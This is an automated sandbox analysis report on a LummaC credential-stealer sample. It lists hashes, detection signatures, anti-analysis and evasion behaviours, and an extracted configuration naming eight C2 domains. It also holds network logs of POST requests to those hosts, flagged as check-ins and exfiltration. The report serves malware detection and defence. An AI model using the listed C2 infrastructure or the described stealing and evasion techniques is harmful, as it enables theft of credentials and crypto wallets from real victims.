Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe
Analysis ID:	1615203
MD5:	162da6192789d7ef167fec87876a8a86
SHA1:	1455b48c25ae91b1da9d6d9090c32d2dc78aa90f
SHA256:	ad8cf25c468076baf63542005e18de42c6b66e378895d436f5104421a3f90f6b
Tags:	exeuser-SecuriteInfoCom
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Joe Sandbox ML detected suspicious sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Detected potential crypto function

Entry point lies outside standard sections

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe (PID: 2120 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe" MD5: 162DA6192789D7EF167FEC87876A8A86)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["BoldCyanvas.top", "shiningrstars.help", "mercharena.biz", "generalmills.pro", "stormlegue.com", "blast-hubs.com", "blastikcn.com", "nestlecompany.pro"], "Build id": "PcsWs8--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1473732640.00000000005B1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000000.00000003.1424640914.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1407562983.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1407301730.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1407398973.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe PID: 2120	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe PID: 2120	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe PID: 2120	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe.5b0000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T16:32:17.296746+0100	2028371	3	Unknown Traffic	192.168.2.7	49705	104.21.33.245	443	TCP
2025-02-14T16:32:18.971811+0100	2028371	3	Unknown Traffic	192.168.2.7	49707	104.21.33.245	443	TCP
2025-02-14T16:32:20.513082+0100	2028371	3	Unknown Traffic	192.168.2.7	49718	104.21.33.245	443	TCP
2025-02-14T16:32:21.866710+0100	2028371	3	Unknown Traffic	192.168.2.7	49729	104.21.33.245	443	TCP
2025-02-14T16:32:23.277812+0100	2028371	3	Unknown Traffic	192.168.2.7	49740	104.21.33.245	443	TCP
2025-02-14T16:32:25.647840+0100	2028371	3	Unknown Traffic	192.168.2.7	49751	104.21.33.245	443	TCP
2025-02-14T16:32:28.097250+0100	2028371	3	Unknown Traffic	192.168.2.7	49762	104.21.33.245	443	TCP
2025-02-14T16:32:30.511491+0100	2028371	3	Unknown Traffic	192.168.2.7	49776	104.21.33.245	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T16:32:18.211600+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49705	104.21.33.245	443	TCP
2025-02-14T16:32:19.532687+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49707	104.21.33.245	443	TCP
2025-02-14T16:32:31.076296+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49776	104.21.33.245	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T16:32:18.211600+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49705	104.21.33.245	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T16:32:26.146787+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49751	104.21.33.245	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Avira: detected

Antivirus detection for URL or domain

Source: shiningrstars.help

Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1473732640.00000000005B1000.00000040.00000001.01000000.00000003.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["BoldCyanvas.top", "shiningrstars.help", "mercharena.biz", "generalmills.pro", "stormlegue.com", "blast-hubs.com", "blastikcn.com", "nestlecompany.pro"], "Build id": "PcsWs8--"}

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Virustotal: Detection: 62%			Perma Link
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	ReversingLabs: Detection: 64%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1473732640.00000000005B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: BoldCyanvas.top
Source: 00000000.00000002.1473732640.00000000005B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: shiningrstars.help
Source: 00000000.00000002.1473732640.00000000005B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: mercharena.biz
Source: 00000000.00000002.1473732640.00000000005B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: generalmills.pro
Source: 00000000.00000002.1473732640.00000000005B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: stormlegue.com
Source: 00000000.00000002.1473732640.00000000005B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: blast-hubs.com
Source: 00000000.00000002.1473732640.00000000005B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: blastikcn.com
Source: 00000000.00000002.1473732640.00000000005B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: nestlecompany.pro

Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.33.245:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.245:443 -> 192.168.2.7:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.245:443 -> 192.168.2.7:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.245:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.245:443 -> 192.168.2.7:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.245:443 -> 192.168.2.7:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.245:443 -> 192.168.2.7:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.245:443 -> 192.168.2.7:49776 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49705 -> 104.21.33.245:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49776 -> 104.21.33.245:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49705 -> 104.21.33.245:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49707 -> 104.21.33.245:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49751 -> 104.21.33.245:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: BoldCyanvas.top
Source: Malware configuration extractor	URLs: shiningrstars.help
Source: Malware configuration extractor	URLs: mercharena.biz
Source: Malware configuration extractor	URLs: generalmills.pro
Source: Malware configuration extractor	URLs: stormlegue.com
Source: Malware configuration extractor	URLs: blast-hubs.com
Source: Malware configuration extractor	URLs: blastikcn.com
Source: Malware configuration extractor	URLs: nestlecompany.pro

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49705 -> 104.21.33.245:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49707 -> 104.21.33.245:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49718 -> 104.21.33.245:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49729 -> 104.21.33.245:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49751 -> 104.21.33.245:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49762 -> 104.21.33.245:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49776 -> 104.21.33.245:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49740 -> 104.21.33.245:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: boldcyanvas.top
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 43Host: boldcyanvas.top
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=05JN9WVSUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12781Host: boldcyanvas.top
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CLJVFPLUOPVCXS2R6W8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15079Host: boldcyanvas.top
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7CSSSN9X7YZ7G6WWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20386Host: boldcyanvas.top
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=RZM2AAE51DIY63BJARUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 2361Host: boldcyanvas.top
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=NIMQS3XP2LCKIHFLVYUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 550636Host: boldcyanvas.top
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 77Host: boldcyanvas.top

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: boldcyanvas.top

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: boldcyanvas.top

Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387982421.00000000053F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387982421.00000000053F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387982421.00000000053F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387982421.00000000053F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387982421.00000000053F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387982421.00000000053F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387982421.00000000053F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387982421.00000000053F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387982421.00000000053F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387982421.00000000053F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387982421.00000000053F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1401985992.00000000053C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1472480629.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1407328159.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1373690695.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1344480473.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1442822051.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1472536408.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1346393166.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1474766442.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1344480473.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1424522219.00000000053CB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1357895106.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://BoldCyanvas.top/
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1442699683.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1474743950.0000000000E45000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1373891441.0000000000E5D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387237453.00000000053C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1373891441.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1402278337.00000000053C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1358097927.0000000000DDB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387575495.00000000053CF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1411245914.00000000053C5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1472738762.0000000000E45000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1345748850.0000000000DDB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1388932833.00000000053D2000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1402036666.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1344480473.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1357895106.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://BoldCyanvas.top/api
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1427793171.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1424472285.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1346393166.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://BoldCyanvas.top/d
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1373891441.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://BoldCyanvas.top/dow
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1373891441.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1388184494.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387725348.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://BoldCyanvas.top/e
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1427793171.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1424472285.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://BoldCyanvas.top/ms
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1442699683.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1474766442.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1472480629.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1346393166.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://BoldCyanvas.top/pi
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1402036666.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://BoldCyanvas.top/pi(
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1442699683.0000000000E54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://BoldCyanvas.top:443/api
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361114714.000000000540D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1361029088.0000000005410000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1442699683.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1358097927.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1474766442.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1472480629.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1346393166.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1402036666.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://boldcyanvas.top/
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1375197165.0000000000E6C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1358097927.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1472900843.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1373891441.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1474645808.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1472480629.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1407562983.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1346393166.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1474766442.0000000000E54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://boldcyanvas.top/api
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1375197165.0000000000E6C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1373891441.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://boldcyanvas.top/api42
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1358097927.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1346393166.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://boldcyanvas.top/apiX
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1407562983.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1346393166.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://boldcyanvas.top/apip
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1472480629.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1474766442.0000000000E54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://boldcyanvas.top/apix
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1388184494.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1387725348.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://boldcyanvas.top/h
